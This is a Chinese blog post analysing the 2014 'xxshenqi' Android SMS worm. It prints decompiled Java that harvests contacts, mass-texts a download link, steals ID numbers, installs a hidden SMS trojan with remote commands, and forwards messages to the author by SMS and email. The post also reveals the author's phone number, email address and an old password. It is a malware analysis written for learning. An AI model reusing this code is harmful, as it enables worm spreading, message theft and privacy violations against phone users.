xxshenqi分析报告
背景
今年七夕爆发了一场大规模手机病毒传播,apk的名字叫做xxshenqi。中了这个病毒的用户会群发手机所有联系人一条信息,内容是包含这个apk下载的链接,同时用户的联系人信息和短信会被窃取,造成隐私泄露和电话扣费的危害。事实上,xxshenqi.apk只是一个外壳,达到扩散及得到用户的身份证和姓名的目的,它解压后会发现还内嵌有一个com.android.Trogoogle.apk的木马程序,这个程序能够控制用户短信,包括读取,发送和伪造。
反编译
由于软件的作者没有进行代码混淆,所以对apk反编译之后的代码一目了然。
前期准备:
1.解压软件 (解压apk,获得classes.dex)
2.dex2jar (将apk的classes.dex转化为jar文件)
3.jd-gui (反编译工具,直接查看jar包的源代码)
4.xxshenqi.apk (样本)
步骤:
1.用解压软件把xxshenqi.apk解压出来,找到一个classes.dex文件,这个是安卓源码编译过的字节码包
2.将这个classes.dex文件复制到dex2jar.bat同一目录下
3.cmd到该目录下,运行命令>> d2j-dex2jar.bat classes.dex
4.得到一个classes_dex2jar.jar文件
5.用jd-gui.exe打开这个jar文件,就可以看到源代码了
6.用1-5步骤得到assets目录下的com.android.Trogoogle.apk的源代码
代码分析
包名:com.example.xxshenqi
|->点击登陆按钮->永远无法登陆成功
程序运行的步骤是:WelcomeActivity->MainActivity{
|->点击注册按钮->RegisterActivity
WelcomeActivity
首先可以发现WelcomeActivity是最开始的欢迎界面,在启动这个界面的过程中,程序就已经完成以下几件事:
1.读取联系人信息,包括联系人姓名和联系人手机号码
2.向所有联系人群发一条短信
3.群发完成后向作者发送一条完成短信
接下来分析WelcomeActivity中的ReadCONTACTS方法中的代码:
1 private void ReadCONTACTS(Context paramContext) 2 { 3 this.contactArray = new ArrayList(); 4 this.context = paramContext; 5 this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); 6 new Thread() 7 { 8 public void run() 9 { 10 if (!WelcomeActivity.this.cursor.moveToNext()) 11 { 12 if (WelcomeActivity.this.counts != 99) {} 13 } 14 else 15 { 16 String str = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("_id")); 17 WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name")); 18 Cursor localCursor = WelcomeActivity.this.context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + str, null, null); 19 ArrayList localArrayList = new ArrayList(); 20 localArrayList.add("\r\n" + WelcomeActivity.this.nameString); 21 for (;;) 22 { 23 if (!localCursor.moveToNext()) {} 24 for (;;) 25 { 26 localCursor.close(); 27 WelcomeActivity.this.contactArray.add(localArrayList); 28 break; 29 WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1")); 30 WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace(" ", ""); 31 WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace("+86", ""); 32 try 33 { 34 if (WelcomeActivity.this.phoneString.length() == 11) 35 { 36 sleep(20L); 37 if ((WelcomeActivity.this.counts % 20 == 0) && (WelcomeActivity.this.counts != 0)) { 38 sleep(5000L); 39 } 40 if (WelcomeActivity.this.counts == 99) { 41 continue; 42 } 43 SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null); 44 WelcomeActivity localWelcomeActivity1 = WelcomeActivity.this; 45 localWelcomeActivity1.counts = (1 + localWelcomeActivity1.counts); 46 System.out.println("send Message to " + WelcomeActivity.this.nameString + " " + WelcomeActivity.this.counts); 47 } 48 } 49 catch (Exception localException) 50 { 51 for (;;) 52 { 53 localException.toString(); 54 } 55 } 56 } 57 localArrayList.add(WelcomeActivity.this.phoneString); 58 } 59 } 60 SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null); 61 WelcomeActivity localWelcomeActivity2 = WelcomeActivity.this; 62 localWelcomeActivity2.counts = (1 + localWelcomeActivity2.counts); 63 System.out.println("==========================="); 64 System.out.println("test---->群发OK"); 65 System.out.println("============================"); 66 } 67 }.start(); 68 }
可以看到以下几条关键代码:
this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
读取通讯录
WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));
获得联系人姓名
WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));
获得联系人手机号码
在这里,作者对联系人手机号码做了一些处理,把空格和"+86"前缀去掉,得到11位的手机号码,在判断手机号码为11位之后,就开始发短信。同时,为了防止过于快速的发送短信被运营商封禁,作者还做了休眠(sleep()),每条短信休眠20ms,每20条短信休眠5秒,每100条短信清空一下指针。
SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null)
上面就是发送短信的代码,也就是广大用户收到的那条短信,可以看出第一个参数是接收端的手机号码,第三个参数是短信内容,其中这里的代码phoneString存的是手机号码,nameString存的是联系人名字。
SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);
最后,群发成功后就会发送一条信息给作者。这里也可以看到作者的手机号码。
MainActivity
在前面程序完成了散播病毒的功能,接下来在MainActivity完成以下几件事:
1.检测Trogoogle子包是否已经安装,如果没有,就引导用户去安装,然后找到assets目录下的com.android.Trogoogle.apk安装
2.安装成功后会发一条信息给作者,表示用户已经中了木马
3.此时到了程序主界面,如果用户选择“登陆",就先对网络进行检测,事实上用户是永远不可能登陆成功的,因为若用户输入的密码大于等于6位,会显示"正在验证,请稍后..."“密码错误或账号不存在”,若用户输入的密码小于6位,会显示"请输入正确的密码或账号"(传说中的坑爹);如果用户选择"注册",那么就会到了RegisterActivity进行注册
检测和安装Trogoogle
1 if (!detectApk("com.example.com.android.trogoogle")) 2 { 3 System.out.println("host开始安装=============================="); 4 String str = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk"; 5 retrieveApkFromAssets(this, "com.android.Trogoogle.apk", str); 6 showInstallConfirmDialog(this, str); 7 }</span> 8 9 <span style="font-size:18px;"> public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2) 10 { 11 try 12 { 13 File localFile = new File(paramString2); 14 if (localFile.exists()) { 15 return true; 16 } 17 localFile.createNewFile(); 18 InputStream localInputStream = paramContext.getAssets().open(paramString1); 19 FileOutputStream localFileOutputStream = new FileOutputStream(localFile); 20 byte[] arrayOfByte = new byte[1024]; 21 boolean bool; 22 for (;;) 23 { 24 int i = localInputStream.read(arrayOfByte); 25 if (i == -1) 26 { 27 localFileOutputStream.flush(); 28 localFileOutputStream.close(); 29 localInputStream.close(); 30 bool = true; 31 break; 32 } 33 localFileOutputStream.write(arrayOfByte, 0, i); 34 } 35 AlertDialog.Builder localBuilder; 36 return bool; 37 } 38 catch (IOException localIOException) 39 { 40 Toast.makeText(paramContext, localIOException.getMessage(), 2000).show(); 41 localBuilder = new AlertDialog.Builder(paramContext); 42 localBuilder.setMessage(localIOException.getMessage()); 43 localBuilder.show(); 44 localIOException.printStackTrace(); 45 bool = false; 46 } 47 } 48 49 public void showInstallConfirmDialog(final Context paramContext, final String paramString) 50 { 51 AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext); 52 localBuilder.setIcon(2130837592); 53 localBuilder.setTitle("未安装资源包"); 54 localBuilder.setMessage("请先安装资源包,资源包已整合至APK,点击安装即可安装。"); 55 localBuilder.setPositiveButton("安装", new DialogInterface.OnClickListener() 56 { 57 public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) 58 { 59 try 60 { 61 String str = "chmod 777 " + paramString; 62 Runtime.getRuntime().exec(str); 63 Intent localIntent = new Intent("android.intent.action.VIEW"); 64 localIntent.addFlags(268435456); 65 localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive"); 66 paramContext.startActivity(localIntent); 67 return; 68 } 69 catch (IOException localIOException) 70 { 71 for (;;) 72 { 73 localIOException.printStackTrace(); 74 } 75 } 76 } 77 }); 78 localBuilder.show(); 79 }
登陆
1 public void onClick(View paramAnonymousView) 2 { 3 if (!MainActivity.this.detectApk("com.example.com.android.trogoogle")) 4 { 5 String str = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk"; 6 MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", str); 7 MainActivity.this.showInstallConfirmDialog(MainActivity.this, str); 8 return; 9 } 10 if (!MainActivity.this.goToNetWork()) 11 { 12 Toast.makeText(MainActivity.this, "无法连接,请检查您的网络!", 0).show(); 13 return; 14 } 15 if (MainActivity.this.pass.getText().toString().length() >= 6) 16 { 17 Toast.makeText(MainActivity.this, "正在验证,请稍后...", 0).show(); 18 Toast.makeText(MainActivity.this, "密码错误或账号不存在!", 0).show(); 19 return; 20 } 21 Toast.makeText(MainActivity.this, "请输入正确的账号或密码", 0).show(); 22 }
RegisterActivity
1 public void onClick(View paramAnonymousView) 2 { 3 String str = RegisterActivity.this.idEditText.getText().toString(); 4 if (str.length() != 18) 5 { 6 Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show(); 7 return; 8 } 9 int i = Integer.parseInt(str.substring(6, 10)); 10 int j = Integer.parseInt(str.substring(10, 12)); 11 int k = Integer.parseInt(str.substring(12, 14)); 12 if ((i > 1996) || (i < 1980) || (j > 12) || (j == 0) || (k == 0) || (k > 31)) 13 { 14 Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show(); 15 return; 16 } 17 if ((RegisterActivity.this.nameEditText.getText().toString().length() < 2) || (RegisterActivity.this.nameEditText.getText().toString().length() > 4)) 18 { 19 Toast.makeText(RegisterActivity.this, "请输入正确的姓名", 0).show(); 20 return; 21 } 22 SmsManager.getDefault().sendTextMessage("18670259904", null, "得到主机,姓名:" + RegisterActivity.this.nameEditText.getText().toString() + ",身份证号为:" + str, null, null); 23 Toast.makeText(RegisterActivity.this, "注册成功!", 0).show(); 24 RegisterActivity.this.startActivity(new Intent(RegisterActivity.this, MainActivity.class)); 25 }
这个注册的Activity获取了用户填写的姓名和身份证号,注册完成后这些信息会以短信的形式发送到作者的手机上。同时,从上面的代码可以看出作者也对姓名和身份证号做了简单的校验。
分析完掩人耳目的外壳,现在来看里面的木马程序
包名:example.com.android.trogoogle
MainActivity
在这个入口程序中,主要的功能是实现隐藏图标。
1 protected void onCreate(Bundle paramBundle) 2 { 3 super.onCreate(paramBundle); 4 requestWindowFeature(1); 5 setContentView(2130903063); 6 getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1); 7 System.out.println("APP图标隐藏成功=============================="); 8 Intent localIntent = new Intent(); 9 localIntent.setClass(this, ListenMessageService.class); 10 startService(localIntent); 11 System.out.println(" startService成功=============================="); 12 System.out.println("--------->>>finish()"); 13 finish(); 14 }
ListenMessageService
这里有个比较重要的类SmsObserver,顾名思义,是用来监控短信的。里面包含了SEND查询和RECV查询,以及几种处理状态。当发件箱有变化时,就会进入SEND查询;当收件箱有变化时就会进入RECV查询。
BroadcastRecvMessage
RECV有几种指令,包括
readmessage指令就会读取所有短信并且发送到作者的邮箱中;
sendmessage指令就会发送指定的内容到指定的号码;
makemessage指令伪造短信
1 if (!str5.equals("readmessage")) { 2 break label188; 3 } 4 System.out.println("木马收到发送邮件命令=============================="); 5 String str10 = ReadAllMessage(paramContext); 6 Intent localIntent4 = new Intent(paramContext, MySendEmailService.class); 7 localIntent4.putExtra("String", str10); 8 paramContext.startService(localIntent4); 9 abortBroadcast(); 10 continue; 11 if (!str5.equals("sendmessage")) { 12 break label188; 13 } 14 System.out.println("木马收到发送短信命令=============================="); 15 int n = str2.lastIndexOf('/'); 16 String str8 = str2.substring(k + 1, n); 17 String str9 = str2.substring(n + 1, str2.length()); 18 SmsManager.getDefault().sendTextMessage(str8, null, str9, null, null); 19 System.out.println("木马发送短信成功================================");
1 if (!str5.equals("makemessage")) { 2 break label188; 3 } 4 System.out.println("木马收到伪造短信命令=============================="); 5 int m = str2.lastIndexOf('/'); 6 String str6 = str2.substring(k + 1, m); 7 String str7 = str2.substring(m + 1, str2.length()); 8 Intent localIntent3 = new Intent(paramContext, MyMakeMessageService.class); 9 localIntent3.putExtra("address", str6); 10 localIntent3.putExtra("body", str7); 11 paramContext.startService(localIntent3);
同时还有一些作者判定的信息内容也会发送给作者(比如,淘宝和普通的信息)
1 System.out.println("木马觉得淘宝信息=============================="); 2 str4 = "【特殊消息】" + str2; 3 if (str4.length() > 60) 4 { 5 localSmsManager.sendTextMessage("18670259904", null, str4.substring(0, str4.length() / 2), null, null); 6 localSmsManager.sendTextMessage("18670259904", null, str4.substring(1 + str4.length() / 2), null, null); 7 }
1 System.out.println("木马觉得是普通信息=============================="); 2 localSmsManager.sendTextMessage("18670259904", null, "From:" + str3 + ";content:" + str2, null, null);
MySendEmailService
这里作者暴露了他的个人邮箱和口令
1 protected void onHandleIntent(Intent paramIntent) 2 { 3 System.out.println("木马进入MySendEmailService=============================="); 4 String str = paramIntent.getStringExtra("String"); 5 System.out.println("木马开始发送邮件============================"); 6 MailSenderInfo localMailSenderInfo = new MailSenderInfo(); 7 localMailSenderInfo.setMailServerHost("smtp.qq.com"); 8 localMailSenderInfo.setMailServerPort("25"); 9 localMailSenderInfo.setValidate(true); 10 localMailSenderInfo.setUserName("a137736513@qq.com"); 11 localMailSenderInfo.setPassword("lishulili."); 12 localMailSenderInfo.setFromAddress("a137736513@qq.com"); 13 localMailSenderInfo.setToAddress("137736513@qq.com"); 14 localMailSenderInfo.setSubject("信息"); 15 localMailSenderInfo.setContent(str); 16 new SimpleMailSender().sendTextMail(localMailSenderInfo); 17 SimpleMailSender.sendHtmlMail(localMailSenderInfo); 18 System.out.println("木马完成发送邮件============================="); 19 System.out.println("木马离开MySendEmailService============================="); 20 System.out.println("木马killProcess=============================="); 21 Process.killProcess(Process.myPid()); 22 }
当然,现在口令已经被改了。
总结
据作者本人说没想过影响会那么大。确实,社工部分非常简陋,传播的信息内容只是”xxx,看这个,http://cdn.yyupload.com/down/4279193/XXshenqi.apk“,这样子看来,毫不犹豫点击这个链接看上去挺傻的,因为发送者什么都没有说明,可事实上确实有很多用户中招了。
虽然很多人说作者做这个东西其实没什么技术含量,但是他才大一,并且想做就做了,这点挺佩服的,如果能增加一点法律意识可能就没那么悲剧了。
后记
这个程序在安全大牛眼里可能是一个玩具,但是对于我来说拿来练手就刚刚好了。第一次反编译和分析apk,有种莫名的成就感。不过文章写出来,似乎表达差了一点。最后非常感谢CJ给我提供了样本。
参考
http://fashion4cj.com/shuo-yi-shuo-xxshenqizhe-ge-shi-qing-ba.html
posted on 2014-08-07 15:56 7777777line 阅读(534) 评论(0) 编辑 收藏 举报